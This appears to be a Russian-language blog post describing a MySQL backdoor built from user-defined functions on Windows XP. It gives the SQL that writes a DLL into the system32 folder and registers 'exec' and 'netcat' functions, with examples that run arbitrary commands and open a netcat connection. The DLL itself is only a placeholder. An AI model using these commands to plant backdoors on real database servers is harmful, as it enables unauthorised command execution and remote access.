В одном из своих постов однажды я уже упоминал возможность создания SQL-бэкдоров, в частности для MySQL. В отличие от MSSQL и Oracle, где имеются широкие возможности по созданию сложных хранимых процедур и функций, для MySQL проблема безопасности внутренней инфраструктуры баз данных является не столь освещенной и разработанной. Прежде всего это связано с отсутствием средств для создания различного рода malware на уровне БД, а именно встроенного скриптового языка – имеется лишь ограниченный набор конструкций для создания простейших циклов и условий. Но недавно случайно для себя обнаружил довольно любопытный пример MySQL-бэкдора, основанный на использовании UDF – User-Defined Functions (определяемые пользователем функции). Такое средство призвано расширить функционал MySQL с помощью специально оформленного и предварительно скомпилированного кода на C++, который реализует дополнительные возможности в контексте базы данных, при чем использование таких функций ни чем не отличается от любых других встроенных функций. Представленный выше бэкдор работает только под Windows XP, так как для создания UDF-функции необходимы права на запись в папку, содержащую системные библиотеки. В старых версиях MySQL этой директорией была С:/mysql/bin/, но в версиях > 5.1 поиск необходимой dll будет производиться в C:/windows/system32/. В любом случае, в Windows Vista трюк с UDF работать не будет, так как UAC не позволит записать ни в одну из этих папок.
Наибольшую сложность представляет написание специального кода на C++. Сам же процесс импортирования функции не вызывает трудностей:
USE mysql; DROP TABLE IF EXISTS `foo`; CREATE TABLE `foo` ( `line` blob ) TYPE=MyISAM; INSERT INTO `foo` VALUES ('[bin]'); SELECT * FROM foo INTO DUMPFILE 'c:/windows/system32/winudf.dll'; CREATE FUNCTION netcat RETURNS integer SONAME 'winudf.dll'; CREATE FUNCTION exec RETURNS integer SONAME 'winudf.dll'; DROP TABLE foo;
Автор бэкдора реализовал две функции:
- exec – выполнение произвольных команд
SELECT exec('echo foo > c:/bar.txt');
- netcat – реализация всеми известного TCP/IP-инструмента
SELECT netcat('127.0.0.1');
И, как оказалось, все действительно работает 😉
Leave a Reply